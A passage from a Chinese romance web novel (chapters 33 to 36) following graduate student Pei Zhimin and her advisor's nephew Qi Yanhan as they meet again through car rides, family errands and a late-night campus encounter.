新传的卷是人所共知的,考研更是卷生卷死,她主要是想回南城念书,学经济和学新闻对她而言,没有本质上的差别。 这话倒有五分真心了。 祁砚寒又问:“导师是你自己选的?” 裴知悯点头。 祁砚寒唇角轻勾。 闻霏一年最多收三个研究生,她也是真厉害,能夺得一席之地。 车里一时沉寂,中控台上的电话忽地响了,两人同时低头看过去,上面的来电显示是:闻老师。 大概是职业的原因,闻霏从前教育他颇有点说教的意味,祁砚寒给她这个备注就是因为被说多了。 这么多年了,懒得换了。 开着车不方便去接电话,他看向裴知悯:“帮我按一下接听,开免提。” 裴知悯拿过手机,照做。 电话对面果然是闻霏,来问了下他们大概什么时候到,祁砚寒预估说差不多还有一刻钟,闻霏了解,说了两句注意安全就挂了。 裴知悯把手机放回原位。 他们运气不好,走到这条街的尽头时,信号灯由黄变红,一个一分钟的红灯,车慢慢降速停住。 “你和闻老师关系很好吗?”裴知悯忍不住问。 祁砚寒手腕搭在方向盘上,眼里闪过一丝不可置信,他平静地问:“她没和你提过我?” 裴知悯小弧度地摇了摇头:“老师只是说让我等一会,会有人来接我。” 祁砚寒直视着她那双单纯真挚的眼睛,笃信她确实不知道,他脸上浮起了一丝笑意,不想这么快戳破这层身份。 “我大学时上过闻老师的课,也是她的学生。” 这话只说了三分。 他是学金融的,闻霏主要研究经济领域,是他老师也不奇怪。 裴知悯未曾深想,目光落在路面的车况上。 前面好像出了事,车辆都被迫待在原地,等待的时间里,雨下得好像不似之前那么猛烈了,声音小了许多,打在玻璃上,自动将车变成了一个密闭空间。 既然走不了,那就随遇而安吧。 裴知悯塌下肩膀,无声叹了下。 祁砚寒放松地往后座椅一靠,没话找话:“你导师平常对你们严吗?” 裴知悯谨慎地答:“还好,要看具体是什么事。” 祁砚寒笑了声,小姨还没有把名声远扬嘛。 窗外的雨慢慢转小,没多久,车流重新动了起来。 会展中心,闻霏等在门口,裴知悯赶紧下车,把文件给她。 “是这个,”闻霏检查完毕,对她说,“你跟着我一块儿进去吧,来了几位教科书上的人物,你和他们聊几句,比看论文期刊有用多了。” 裴知悯默了片刻,点头道:“好。” 闻霏正欲进楼,视线扫到走过来的祁砚寒。 “忘了介绍,”闻霏看向他说,“我二零年收的研究生,裴知悯。” 那她现在是在读研三? 闻霏看着裴知悯,又说:“祁砚寒,我……” 她话还没说完,祁砚寒握拳轻咳了下,闻霏领会到意思,只道:“学生。” 他读大学时,为了避免亲戚关系所带来的人情往来,闻霏对外都是这样说的。 他还真是老师的学生? 真巧了。 介绍完毕,闻霏询问他:“你下午的事情多久结束?” 祁砚寒略一沉吟:“五点。” “那你好人做到底,”闻霏交代道,“晚点再来一趟,帮我把知悯送回学校。” 此话一出,祁砚寒还没作出回应,裴知悯就连忙摆手道:“不用了,老师,我自己回去就好。” 闻霏看向她,笑着说:“没事,他闲着也是闲着。” 裴知悯不想麻烦他,还想再挣扎一下,闻霏已经抬腿进去了,留下一句“就这么说定了啊”。 祁砚寒目送她们进去,上车打了圈方向盘,往另一边走了。 会场在二楼,里面的空间很大,裴知悯全程都跟着闻霏走,听她和其他的教授学者谈论学术研究、经济形势,偶有一些商界人士,遇见了直接聊起了股票市场。 裴知悯还生活在象牙塔里,只知道一些学术圈里的事,对股票市场尚未涉猎,她后程听得是云里雾里。 会议五点十分结束,会场里的人还有继续攀谈的,裴知悯和闻霏打了声招呼就下楼了。 外面的雨不知什么时候彻底停了,微弱的阳光透过云层照下来。 祁砚寒的车就停在门口,他懒懒地靠在车门边,指尖夹着一根烟,一面听电话一面将烟送往唇边吸上一口,这么多年了,他做这种很普通的动作仍旧是赏心悦目。 见她出来,祁砚寒说了两句就挂了,在垃圾桶旁掐灭烟,走过来问:“饿了吗?用不用先去吃饭?” 他这样自然的语气,真让裴知悯招架不来,她婉拒:“我想回 学校。” 祁砚寒没勉强,绅士地替她拉开车门,待她上车,他绕过车头,走入驾驶座。 为了少麻烦他,裴知悯说:“你就放我在西门下就行。” 祁砚寒微微皱眉,隐隐有点感觉有点不对,他看着裴知悯,这姑娘还是真诚透亮的一双眸子。 他凝视了几秒中,打消那个错误的念头,发动引擎。 返程比来时车少些,车子一路顺畅地朝着南大开,他们很少说话,裴知悯降了一点车窗,微凉的风灌进来,醒神。 走到南大附近,即将进入去西门的街,祁砚寒忽地打了一圈方向盘,将车子驶入了学校的另一边。 裴知悯急忙出言提醒:“走错了,这条路不是去西门的。” 祁砚寒:“不去西门。” 裴知悯轻轻“啊”了一声。 祁砚寒扭头看了她一眼:“我没记错的话,西门离研究生宿舍很远,你走回去大概还要二十分钟。” 裴知悯抿了抿唇。 “食堂也离北门更近,”祁砚寒说,“你吃饭也方便。” 她惊讶于他这样的周到得。 北门要绕好几条街才能到,裴知悯很客气地道了一句:“太麻烦你了。” 车在离校门还有十来米的地方停了,进入冬天,南城的天黑得很早,此时天已是墨黑色了,有风扫过,树枝飘摇。 车停稳后,裴知悯解开安全带,礼貌地道了谢就准备下去,祁砚寒忽而出声,截住她的动作。 他问:“你下午是不是接到了一个电话?” 裴知悯收回手,点头道:“但没人说话就挂了。” 祁砚寒低低笑了声。 “那是我的电话,”他说,“你存一下。” 裴知悯顿了一秒,顺从地应:“好的。” 那会儿她其实是不想存的,但面子上还是要过得去。 祁砚寒朝校门抬了抬下巴:“进去吧,今天风大,早点休息。” 裴知悯“嗯”了声,客客气气地又道了次谢,推开车门下去。 路灯亮了起来,昏黄的灯光洒在女生身上,祁砚寒降下车窗,手肘轻轻撑在上面,注视着她远去的背影。 第34章 第34章暗恋未果的故事 夜色暗浮,挟着凉意的风从半开的车窗涌进来。 车还没开出南大,蒋琛就来了电话,喊他出来喝酒,自从这家伙决定留在北京打拼,他们一年也难得见几次面,知道他在夜市,祁砚寒转了圈方向盘往城南驶去。 这个点,夜市正是热闹的时候,酒杯的碰撞声飘出了十里。 祁砚寒一过去就看到了独占一张桌子的蒋琛,面前摆了两瓶啤酒,他那瓶喝了一半了,他径自在一旁坐下,把另一瓶酒开了。 “对不住啊,”蒋琛自罚一杯,“没赚到什么钱,请你喝酒都喝不尽兴。” “少说这有的没的,”祁砚寒和他碰了下杯,仰脖将酒一饮而尽,问道,“你那边怎么样了?” 蒋琛笑得勉强:“还行。” 祁砚寒没再追问,只一味的喝酒。 蒋琛大三就和几个朋友创业了,做无人机飞行方面的,折腾了这么久,也没整出多大名堂,但这小子志存高远,非要荣归故里。 这么快就要走,应该还在为投资的事奔忙。 祁砚寒默了半晌,神色认真起来:“真不考虑回来?” 蒋琛倒了杯酒,笑得开怀孤勇:“再闯闯,我还这么年轻。” “行,”祁砚寒轻轻一笑,“不行就回来,总会有出路的。” 蒋琛白他一眼:“少咒我,老子肯定可以。” 祁砚寒赔罪似的点了点头,这瓶酒喝到一半,他就没再动了,点了支烟慢慢抽着,蒋琛的酒见了底,他伸直腿,颓懒地靠在椅子上,问了两句投行的事,祁砚寒说都挺好的。 聊了一会儿,卫旭来了,带着打包的餐食,蒋琛一眼就看出了是南大美食街的那一家,从前他回来南城,经常和祁砚寒去吃,味道挺好的。 “可别说兄弟不仗义,”卫旭边摆盘还边邀功,“我晚上加完班,马不停蹄就过去排队买了。” 蒋琛招呼服务员又要了两瓶酒,对他说:“谢了啊。” 卫旭摆手道:“客气什么。” 有酒有菜,他们三个在这里边吃边聊了好久,话题从现在扯到未来又绕回从前,身后的街道,有三五个女生活泼地跑过,带过一阵风,有人回头喊末尾的一个女生:“走快点,门禁要到了。” 那女生不情愿地跟上她们,抱怨声有点大:“诶呀,怎么读了大学还有门禁呀!” 话顺着风飘过来,卫旭掩面笑了声,待她们走远,他直接笑大了,追忆起了往昔:“还是女生守规矩,我们读大学的时候,好像就没有门禁这个概念。” 另外两个人都笑了,不置可否。 卫旭喝了口酒靠上椅子,双手叠在后脑勺上,悠悠道:“我们这几个中,好像就喻书和裴知悯还在念书了吧?” 喻书读研蒋琛知道,裴知悯也读研了? “你怎么知道?”他问。 卫旭:“她考研时,找我了解了个老师的情况。” 蒋琛觉得好笑又奇怪:“找你问?” “对啊,”卫旭吃了口菜说,“那个老师之前在我们学校教书,后来才去的南大。” 蒋琛“哟”了一声:“没想到她会去南大读研。” 卫旭笑着接了句“我也没想到”,两人就又喝起了酒。 祁砚寒微微皱眉,她都去问了卫旭,都没想过来问就在南大的他? 那个晚上,他们喝到九点才散,冷风穿过这条街道,吹不倒一片连着一片的谈笑。 祁砚寒叫了个代驾回去,家里漆黑一片,闻霏先前说了,今晚要和几个教授吃饭会晚点回来,这个时候,方芷宜应该也睡了。 客厅亮着两盏壁灯,平缓了会儿,祁砚寒摸出烟盒抖了一根点燃,才抽两口,楼上响起了微小的踢踏声,他抬头看去,半明半暗的楼梯上,趴着个穿着睡衣的姑娘,方芷宜用气声问:“哥,我妈回来了吗?” 祁砚寒吸了一口烟:“没有。” 方芷宜神情明显松懈下来,走下楼松垮地往沙发上一坐。 祁砚寒在她来之前就将烟按灭了,声调略沉:“做什么坏事了?” 方芷宜眼皮一跳,解释道:“没做坏事。” 祁砚寒噙着笑,没戳穿,只是换了个说法问:“有事找我?” 天色漆黑,清冷的月光洒进屋子,把昏黄的家里映得明亮了两分。 方芷宜看了那星月光好半天,才低低“嗯”了声。 祁砚寒以眼神询问。 方芷宜笑容谄媚:“你明天给我班主任打个电话吧?” 祁砚寒稍一联想,就猜到了原因。 “又考差了?” “嗯,”方芷宜略微点了下脑袋,又马上举起四根手指,信誓旦旦道,“下次我保证好好复习,好好考。” 方芷宜如今在南礼念高二,成绩忽上忽下的,好坏之间能差一百分,简直堪比坐过山车,老师找家长沟通也不是第一次了,基本上都是祁砚寒应对的。 “知道了,”他糟心地按了下眉心,交代道,“记住你说的话。” 方芷宜一脸大功告成的样子,“谢谢哥。” 这事谈妥,她就想上楼了,起身前瞥到烟灰缸里的烟头,劝解道:“哥,你少抽点烟吧,你工作本来就忙,更要好好爱护身体了,研究显示,抽烟的人比不抽烟长寿十年。” 年纪不大,倒是继承了小姨的衣钵,能说教。 祁砚寒撩起眼皮瞥她一眼,幽幽反问:“你还管起我来了?” 哼,忠言逆耳,听不进就算了。 方芷宜撇了撇嘴,头都不回地往楼上走。 祁砚寒看 她脸上了无睡意,提醒道:“晚上不要玩手机,早点睡,明天要上课,周六记得去绘画班。” 方芷宜淡声道:“知道了。” 说完她嘴里还念念有词的,祁砚寒一猜就是骂他的,他无奈地摇了摇头,手机屏幕蓦地亮了,一条消息停在中央,蒋琛说他那边出了点事,飞机改签到明天一早了,让他不用来送。 祁砚寒脸上看不清什么情绪,简单回了条“好,一切顺利”,发完消息,他往后一靠,极轻地叹了下。 月光爬上茶几,被裁成了不规则的几何图形,这夜太寂静了。 “嗯~” 一声轻吟不合时宜地漏了出来,将宁静的夜撕了个口子,裴知悯的脚步瞬间定住,不远处被灌木丛挡住的长椅上,隐约有一双人影,女生坐在男生身上,这个时间,这个亲密的姿势,明眼人一看就知道在干什么。 先前吃过饭,裴知悯去了趟图书馆,查完资料出来,夜完全暗了,图书馆离宿舍还有好一段路,她就想着抄近道回去,谁料这么不巧,撞见了小情侣约会。 愣了一秒,裴知悯转身离开这条路。 夜深人静时分,校园里只有三三两两的人影,弦月当空,光辉清亮,裴知悯踩在月光里,听着《富士山下》慢慢往回走,从前她还听不懂粤语歌,后来有了阅历,沉淀了一些思考,越听越觉得有韵味。 回到宿舍,裴知悯放了东西进卫生间洗漱,那首歌最后在“谁能凭爱意将富士山占有”戛然而止,退出音乐软件后,她手一滑,不小心点到了通话页面,最上面的那行通话记录,只有五秒。 犹豫半天,裴知悯还是把他的电话存进了联系人里,备注:祁砚寒。 短短的三个字,礼貌又疏离。 再早几年,在她还对他念念不忘时,她对这串数字的备注肯定会不同,小心思都倾注在上面,或许都能倒背如流。 关掉手机,裴知悯打开电脑看新课题,又是二十多页的文档,看完后,她眼皮都在打架,关了灯躺下,睡意四处蔓延,那张熟悉的脸慢慢浮现出来,她猛地睁开眼,就见了一面,为什么又想起他来了? 墨色深重的房间,月光铺成一片。 裴知悯拍了拍脸颊,把他从脑袋中赶走,再度闭上眼后,却始终都睡不着,辗转了好几次后,她干脆从床上下来,拿起平板画了张新稿子,不得不说,这方法还是管用,勾完线稿,她困得粘床就睡了。 这场雨下完,后面几天的天气渐渐转好。 裴知悯又忙着上课和写论文,忙点才好啊,忙起来后,她再没想过祁砚寒。 周五的晚上,线稿完成了铺色,裴知悯照旧发到了微博上,传完,她就去洗漱了。 隔日,天气晴好,阳光穿过云层,普照大地。 南城的街道依旧忙碌,早高峰,路上的车走得缓慢,鸣笛声接二连三响起。 方芷宜被吵的睡不着,歪着身体坐在副驾上,眼睛还半睁着就刷起了手机。 祁砚寒一眼就看出她昨晚熬夜了。 “还有精力玩?”他瞟了她一眼,轻嗤,“不补会儿觉?” 方芷宜给了他个白眼:“你不懂,我玩手机就是在醒瞌睡。” 那他确实不懂。 正是堵车的时段,车才走出十来二十米,就又停了。 “啊!” 方芷宜突然兴奋地叫了一声。 祁砚寒侧身躲远了一点,出声制止:“清静点。” 方芷宜嘿嘿地笑,独自欣赏着新鲜出炉的帅图。 见她冷静下来,祁砚寒问:“出什么事了?” 方芷宜把手机递到他眼前,欢欣道:“我喜欢的画师大大更新了!” 祁砚寒垂眼瞥了下照片,一秒钟都没有就收回了视线。 可即使这样,他也能看出那幅画用笔的流畅,线条潇洒至极。 “这可是远山老师新画的图,”方芷宜把图片放大缩小看了又看,嘴里喃喃道,“这也太好看了吧!” 祁砚寒看她一脸崇拜的模样,不以为意。 印象里方芷宜喜欢这个画师两三年了,时不时就会在他耳边念叨两句。 “就一张图而已,”祁砚寒轻道,“至于吗?” “至于,”方芷宜瞪了他一眼,坐正身体道,“你不知道远山老师一路走来有多不容易,她最开始是在杂志上画稿的,后来因为升学停画了两年,再回来就在微博分享画稿了,起初没什么人看,如今有五万粉丝,真的是因为技术过硬,她人也特别好,经常回复我们的评论。” 她讲完这一堆,祁砚寒表情没什么变化,只当听了个乐子。 “而且,”方芷宜说,“她很有故事。” 祁砚寒手肘撑在门框上,打发时间地问了句:“什么故事?” 方芷宜:“很多,但最惋惜的就是她暗恋未果的故事。” 祁砚寒不以为然地笑了,就这种营销手段,只能骗骗她这年纪的小姑娘。 “听听就好,别当真。” “是真的,”方芷宜滑着手机给他找图片,“她还给她暗恋的那个男生画了图,可帅了。” 图还没找到,后车就鸣了一声喇叭,祁砚寒这才发现前车已经走远了,他抬起刹车,车子汇入车流。 方芷宜记不得那张图是什么时候画的了,找了好一会儿都没看到,一抬眼看她哥一副无所谓的态度,她索性不找了,继续玩手机。 走过堵车路段,后程不知道顺畅多少,十分钟没到,车辆就停到了机构门口。 祁砚寒出声:“到了。” 方芷宜看了眼窗外,背上包下车了。 遥远的天际,太阳已经升起,天上飘着自由的白云。 到了路口,祁砚寒往右打了半圈方向盘,朝市中心的方向驶去,后视镜里忽地闪过一张清丽的侧脸,他愣了一秒,再定睛去看时,哪有那个人。 祁砚寒自嘲地扯了扯嘴角,觉得是昨晚的酒还没醒。 裴知悯走进一楼办公室放了东西,和其他老师打了招呼,就去了班上,这家机构是喻书父亲的朋友开的,前些时间缺助教,喻书就问她愿不愿意来试试,裴知悯一问工资和时间,感觉挺合适的,就答应了。 机构有五层,各种画种都有,学生从八岁到十八岁不等,裴知悯带的班里面都是十岁以下的小朋友,她的工作很简单,就跟着主教老师一起,带领他们画一些简单的儿童画,再做点手工或是一些关于激发绘画兴趣的小游戏就好。 一天四节课,上完都下午四点了。 送完学生,裴知悯拿上帆布包下楼,网约车还在路上,她就在一楼的公共休息区坐着等,放了学,这里没多少人,她随便选了个位置,戴了一只耳机,眯着眼靠在椅背上听歌。 不多时,好像走进来了个女生,脚步轻缓,从她身前经过时,有一道低沉慵懒的男声从声筒里传出来—— “等我两分钟。” 裴知悯倏地睁开眼。 那个女生坐在了她五米开外的对面,脸庞青涩稚嫩,大概只有十六七岁。 裴知悯没有认出方芷宜来,她不动声色地敛回视线,觉得自己真是魔怔了。 但方芷宜看见她,感觉有点眼熟却始终想不起来在哪儿见过。 手机忽地震了下,裴知悯低头看去,页面实时汇报进度:预计还有五分钟抵达目标起点,她扣下手机,手托着腮靠听歌消磨时间。 歌放到尾声时,那个女生的手机响了,她接起来只说了一句“我马上出来”就挂了,噔噔噔地往外跑,方芷宜有点着急,一个没注意,和进门的人撞上了,书包上的玩偶被卡在了门把手上,掉下来后,一点点滚到了裴知悯脚边,她捡起来,想还给她却发现早没了人影,想来她应该没走多远,裴知悯赶忙去追。 大门口,方芷宜略微环顾了圈,找到祁砚寒的车就要过去,肩膀忽然被人拍了下,她回身看去 。 裴知悯喘了一口气,把玩偶给她:“你的东西掉了。” 方芷宜见了,立马转头去看书包,真的不见了,她震惊道:“什么时候掉的啊?我都没发现。” “应该是你出门和人撞上的时候。” 接过玩偶,方芷宜礼貌道:“谢谢。” 裴知悯客气地笑:“没事。” 身旁的街道有车辆驶过,扬起一撮尘土,裴知悯被呛了下,侧身咳嗽了声,一抬眼看见不远处那个高大清瘦的男人,一瞬间怔愣了。 祁砚寒和方芷宜的班主任交涉完,转过身来就瞥见一道熟悉的身影,那会儿裴知悯都走进大门了,他视线里只有青绿色毛衣的一角,那背影,怎么有点落荒而逃的意味? 上了车,方芷宜边把玩偶扣上书包拉扣,边跟她哥讲了下那个姐姐捡到她东西的事,祁砚寒静静听着,眼神一直看着车左侧的后视镜。 事情很小,一分钟就讲完了,方芷宜系好安全带,见他迟迟不发动引擎,疑惑道:“哥,怎么不走啊?” 祁砚寒视线未移,只是道:“她是这里的老师吗?” 方芷宜转了一圈才反应过来这个“她”是谁,回道:“好像是来兼职的助教。” 祁砚寒清淡地“嗯”了一声。 后视镜里,有一道人影快速走了出来,肩上挎着帆布包,绿色外套配着针织半裙,扎着低马尾,风从侧方吹来,她的裙摆飘起一个小小的弧度,有两缕头发贴在面颊上,她一只手拨开,另一只手里握着手机,整理间还在张望四周,大概是想打车,祁砚寒正想启动车子过去,她却已先一步上了路边的一辆计程车,五秒没到,出租车从旁边径直驶过。 车窗半开,一闪而过的那张脸,还是一如既往的干净莹润。 第35章 第35章不一样的夜晚 出租车在跨江大桥上顺通无阻,落日西沉,或许是因为出了太阳,这天的风很温和。 降完车窗,裴知悯趴在车门上看夕阳,远处自西向东的江水滔滔不绝,车里放着梁博的《日落大道》,偏摇滚的风格,曲子热烈洒脱。 这幅光景,加上那句“每当黄昏阳光把所有都渲染,你看那金黄,多耀眼”的歌词,真是绝配。 间奏是清扬的风笛声,这种曲调本会让人听得很舒展,可裴知悯一想到那个挺拔的身影,那张的脸,心还是乱了两分,她闭着眼,静静地听歌声风声水流声让心沉静,在一个个平淡细腻的日子里遗忘的人,还是适合在落灰的记忆里躺着。 司机师傅是个性情中人,见她听得享受,询问道:“小姑娘,你也喜欢这首歌吗?” 裴知悯半掀眼皮:“嗯。” 司机师傅笑着道:“我觉得这首歌里有一种空旷孤独的自由,听着能忘却一切的忧愁烦恼。” 能忘却吗? 裴知悯不太确定,她睁开眼,遥望着那一江不急不缓向前流动的河水,心里是真的想。 日落灿烂,霞光亮眼,长长的大桥上,车辆一路松弛,但桥下面的立交路上,就没有这么顺利了。 堵在路上,方芷宜无所事事地拨弄着书包边的那个毛线玩偶,这个挂了好多年都没起球,可见卖家是真的很良心。 可买东西的人没有良心,那个姐姐走了后,他还愣着不动,不知道在想些什么,等车启动上路,出来一条街就遇见堵车了。 方芷宜小声嘀咕:“看吧,让你磨蹭。” 祁砚寒哑然,转头看向外边的河流。 “你和那个姐姐认识吗?”方芷宜自言自语,“就偷窥别人。” 啧,这词用的。 祁砚寒回头,侧面提醒:“你记不得她了?” 方芷宜在记忆里搜索半天,依旧没能想到,她想让他直接告诉自己,这人只来了句“自己想去”。 思索未遂,方芷宜摸出手机玩了起来,微博消息一栏有个红点,她点开一看,“寂静的远山”回复了你:“么么。” 方芷宜笑得跟捡到了钱似的,点了个赞,页面忽然弹出了个电话,备注的那个“妈”字把她吓得够呛,她迟疑半晌,接了起来。 闻霏打这个电话,主要就是问她的学习,方芷宜一猜就是有人告密,她被问得一句也不敢回嘴,等挂了电话,她气呼呼地瞪驾驶座上的人:“哥,你个叛徒!” 祁砚寒笑了声,轻声道:“警醒你。” 都高二了,不给这姑娘敲敲警钟,可能真没把学习当回事。 堵了十分钟,前路终于通畅了,车辆驶离立交路,祁砚寒目视前方:“好好学习,不然绘画班可能……” 话点到为止,方芷宜已然明白后半句是什么,她别过脸,降下一整面车窗,冷死你算了。 凉爽的风从车窗跑进来,又从车窗跑出去,吹起行人的发梢和衣摆,裴知悯一面整理一面走进路边的店,要了一份三鲜米线,等餐期间,意外地遇见了师兄韩照,他是葛怡老师的学生,但因为闻霏和葛老师关系要好,两人手下的研究也都彼此认识,他们是同级,但因为韩照年长一些,大家便都喊他“师兄”。 刚吹过风,她耳边的发丝还翘着,配以绿色毛衣,鲜亮又俏皮,韩照眼前一亮,和她简单打过招呼,就走向柜台点餐。 “你好,堂食还是打包?”店员问他。 韩照转头问一旁等待的裴知悯:“你是堂食还是打包?” 裴知悯:“打包。” 韩照看向店员:“那我也打包。” “好的。” 拿到餐,两人一同回学校,时近五点,出校的人比进校的人多,这一侧路上,就他们两个。 “你们应该也要开始准备写期末论文了吧?”韩照估摸了一下时间,问道。 裴知悯点头:“这阵子就在写。” 韩照轻轻一笑。 “有需要随时可以找我,”他说,“乐意帮助。” 裴知悯微微一笑:“好,谢谢师兄。” 韩照:“别客气。” 东门离宿舍很近,他们不多时就分了别,裴知悯走进大门,和邓漪迎面碰上了,闻霏在去年只收了两个研究生,她就是另外一个。 邓漪抱着桶泡面,伸长脖子瞧了眼那抹远去的人影,挤眉弄眼地问她:“什么情况啊?你和韩师兄——” “没情况,”裴知悯解释,“就买饭时遇见了,就一起回来。” “是吗?”邓漪笑着拱了下她的手臂,旁敲侧击道,“但我怎么觉得韩师兄对你不一般啊。” 裴知悯当听不懂似的:“哪有,你想多了。” 邓漪一脸意味深长地盯着她,韩照为人和善,对他们都挺不错的,但对于裴知悯,他总会多照顾些,她一眼就看出来了。 裴知悯别开脸,转过话题:“你不是准备投C刊吗?论文写完了?” 说到这个,邓漪晃了晃手里的泡面,苦不堪言道:“闻老师刚把我的选题pass,今晚又要熬夜准备新的了。” 裴知悯一脸同情。 “你呢?”邓漪问。 她苦笑一声:“一样。” 选了一周的选题,闻霏凝神看了半分钟就被枪毙了,还得重头再来。 回到寝室,两人各自忙碌,裴知悯着手准备期末论文,这学期还要投一篇期刊,任务很重,那天她忙到了夜里一点才睡。 熬过周末,又是黑暗的星期一,邓漪顶着俩熊猫眼到了会议室,裴知悯比她好不到哪儿去,两个人靠在一起抱团取暖,闻霏长桌前在讲他们论文里的问题,一个个听得想睡觉却又不敢。 邓漪手撑在额头上,挡住一些视线,小声道:“闻老师真是劳模啊,都教授了,还亲自给我们这种菜鸟改论文。” 裴知悯强撑着精神:“说明我们导师敬业。” 邓漪叹气:“敬业也要分情况,她现在的敬业就是把我往绝路上逼。” 裴知悯笑了笑。 窗外天空青蓝,没有一片云,天气不阴不晴。 完事儿后,邓漪去了师姐那儿寻求帮助,裴知悯则去图书馆待了一个下午,出来时天都黑了,食堂的大多数窗口都关了,她随便对付了一口,抱着两本书走小路回宿舍。 小路的路灯隔了老远才有一盏,裴知悯开了手电筒,开始还不觉得有什么,走了百来米,她就感觉害怕了,但回去的路比剩余的路还长, 没办法,她只能壮着胆子往前走。 夜黑风高,风过树梢,呼声呜咽,你还别说,真挺吓人的。 裴知悯脚步轻轻,每一步都走得谨慎,电话这时响了,她被吓了个半死,拍胸口缓了好几秒才接听。 那端的声音有点吵,裴知悯拧眉问:“你在做什么啊?外婆。” 许兰君按了下电视遥控器,把音量转小,又把茶几上的收音机关了,“看电视听歌呢。” 听见外婆的声音,裴知悯不像之前那样害怕了,她按正常速度走着,笑着问:“又看电视又听歌?你能听得进去吗?” 外婆声线苍沉:“有声音总归热闹些。” 裴知悯脚步顿住,静默两秒道:“等我忙完这阵就回去陪你。” “你忙你的去,”许兰君快速说,“我当外婆的可不能拖你后腿。” 裴知悯说:“不会拖后腿的。” 许兰君笑了声,和她聊起了刚才看的电视剧,裴知悯抬腿往前走,出了小路,她站在花坛边的路灯下,低着头有一搭没一搭地踢着路边的树枝,有淡淡的烟味飘过来,但她忙着听外婆讲故事,没第一时间去看。 十米外的路口处,亮着一星火光,祁砚寒注视着不远处那个突然出现的女生,她穿着白衬衣黑色风衣,紧身牛仔裤包裹着一双匀称笔直的腿,那节露出来的脚腕伶仃纤细,在浅黄的灯光下,都白的晃眼。 这么一身简单的衣服,她都穿的温柔动人,是真的长大了啊。 祁砚寒目光慢慢变得幽深起来。 外婆说到好玩的情节时,裴知悯都乐大了,走来走去地听。 祁砚寒吞了一口烟,眼睛微眯时,依稀看见她活动了动脚腕,看上去应该站累了,裴知悯把怀里的书放在了地上,正当他以为她要一屁股坐在那书上时,她一下蹲在了花坛边上。 这个人,固执得有点可爱。 祖孙俩东扯西扯地聊了十来分钟,末了,许兰君嘱咐了她两句要注意身体少熬夜就挂了。 那边的人一支烟刚好燃尽,他踩灭烟头,静静站着。 树林之上,有大雁飞过,突然传出的鸣叫格外吓人。 裴知悯赶紧拿起书起身,拍完上面的灰尘,又去把踢了五六米远的树枝捡起来乱舞着,走了几步,她望见前面的人,直接傻掉了。 祁砚寒看着她手里的那根树枝,眼里含笑:“好玩吗?” 裴知悯下意识地把树枝往身后一藏,目瞪口呆道:“你……怎么……” 一个问都没问清楚,她看了眼这条前无古人后无来者的路。 祁砚寒踩灭了烟头,双手插兜,接上她的话,“在这里?” 裴知悯无声地点了点头。 “来看望个老师,”祁砚寒简言解释,“我工作方面遇到点事,需要请教他一下。” 裴知悯了然,又问:“那你怎么还没回去?” 祁砚寒随口胡诌:“你们学校的路太绕了,我不小心迷路了,才走到这儿。” “你本科不是在这儿念的吗?”裴知悯嘴快,“还会不知道路?” 祁砚寒眼神微变,看着她不说话。 裴知悯意识到了自己说漏了嘴,抿唇道:“喻臣哥告诉我的。” 祁砚寒恢复正常神色:“知道。” 裴知悯咬了咬唇,没说话,她盯着路面,手里的树枝不知道该不该丢。 “前面的食堂还开着吧?”祁砚寒忽而问。 南大食堂很多,这条路尽头的那一家最靠近她宿舍。 裴知悯眉头微蹙:“你不是迷路了吗?还知道前面是食堂?” 祁砚寒握拳轻咳了一声:“忽然又记起来了。” 裴知悯:“……” “我还没吃完晚饭,”祁砚寒说,“可以借你的卡刷一顿餐食吗?” 裴知悯看了眼时间,委婉拒绝道:“这会儿……食堂窗口应该都关闭了。” 祁砚寒不甚在意道:“先去看看吧。” 说完,他就抬脚往前走了,裴知悯丢了树枝,跟上他的步伐。 一路上他们都没说话,好在很快就到了食堂,里面大片区域都灭了灯,只有一家面店还开着,祁砚寒要了碗馄饨,裴知悯用校园卡替他付了钱。 整个食堂就他一个人吃饭的人,一碗馄饨五分钟没到就出了锅,他吃得很斯文,裴知悯坐在他对面,还在疑惑事情怎么就朝这样发展了。 柔和的光线从头顶洒落,裴知悯看着他慢慢把馄饨吃完,放了碗,他们一同往外走。 祁砚寒摸出手机,跟她说:“我把钱转给你。” 裴知悯抱紧怀里的书,轻声道:“不用了,就当上次你送我回学校的报酬。” 上次?上次都是半月前的事了吧? 祁砚寒眉梢一挑,从前怎么就没发现这姑娘记忆力如此好呢? 他坚持道:“我这人不喜欢欠人情。” 裴知悯:“……” 说话间,他已经点开了微信。 于是,他们就这么加了联系方式。 夜色深重,月凉如水,两人出了食堂就分别了,裴知悯抱着书迷糊地走回宿舍,洗漱完,她后知后觉感觉不对,但具体说又说不上来,后面她想着想着就睡着了。 窗帘忘记拉了,屋里落满了月光,有无限希望。 第36章 第36章把他视作唯一的妄想 那段时间裴知悯忙得脚不沾地,好在两个论文的选题终于通过了,搭好期末论文的框架后,她去了趟闻霏办公室,闻霏修改了两个地方,就说没问题了。 裴知悯道过谢,抱着电脑想要离开,听见闻霏又问:“你投稿的论文是不是还没写完?” 裴知悯心里一咯噔,岂止是没写完,简直差老远了。 但为了留下一个好印象,她还是硬着头皮道:“在写了。” 她站得笔直,唇线也绷直了,这幅姿态,隐隐透着股心虚。 闻霏没点破,微微沉吟,道了句:“抓紧。” 裴知悯点头:“好。” 风从窗户溜进来,吹落了桌面上的纸页,裴知悯捡起来,放回原地摆好。 闻霏上下扫了眼她,穿着姜黄色毛呢外套,头发整齐地披在背后,二十三四的年纪,正是青春活泼的时候,她的穿着,脸色却略显疲惫,眼下有淡淡的乌青,看样子应该好几天都没有睡好觉了。 “最近压力很大?”闻霏关心道。 裴知悯抿嘴笑笑:“有点。” 闻霏靠在椅背上,耐心劝道:“年轻人,不要经常频繁熬夜,身体是革命的本钱,为了一个论文,熬坏了不值当,未来的事情还有很多,不用着急,总会完成的,还有,最近要降温了,你注意保暖。” 说到生活方面,闻霏不由啰嗦了几句,裴知悯一一应下,拿着电脑带上门出去了。 上午十一点,阳光透过云层洒下来。 正是上课的点,路上没什么人,裴知悯去食堂吃了顿中饭就回了寝室写论文,写了三四个小时,文献检索的网页都快要摆不下了,就这样也只憋出了一千字。 不得不说,写论文这事也是要看灵感的,脑袋一团浆糊的时候,一个字都敲不出来,读研以来,写论文真的是要了老命了,裴知悯叹口气,受挫般地趴在桌子上,书桌上躺着一小片阳光,她半眯着眼看向窗外,天高云淡,是个适合出去玩的天气。 裴知悯保存好文档,下楼去晒太阳,走出宿舍左拐走几步就是林荫大道,路边的香樟树繁茂葱茏,阳光穿过树缝落下一地破碎,她慢慢散着步,给虞净打了个电话,铃声响了半分钟才被接起。 裴知悯小心翼翼道:“我是不是打扰你了?” “有点吧,”虞净故意道。 裴知悯“啊”了一声:“那我先挂……” 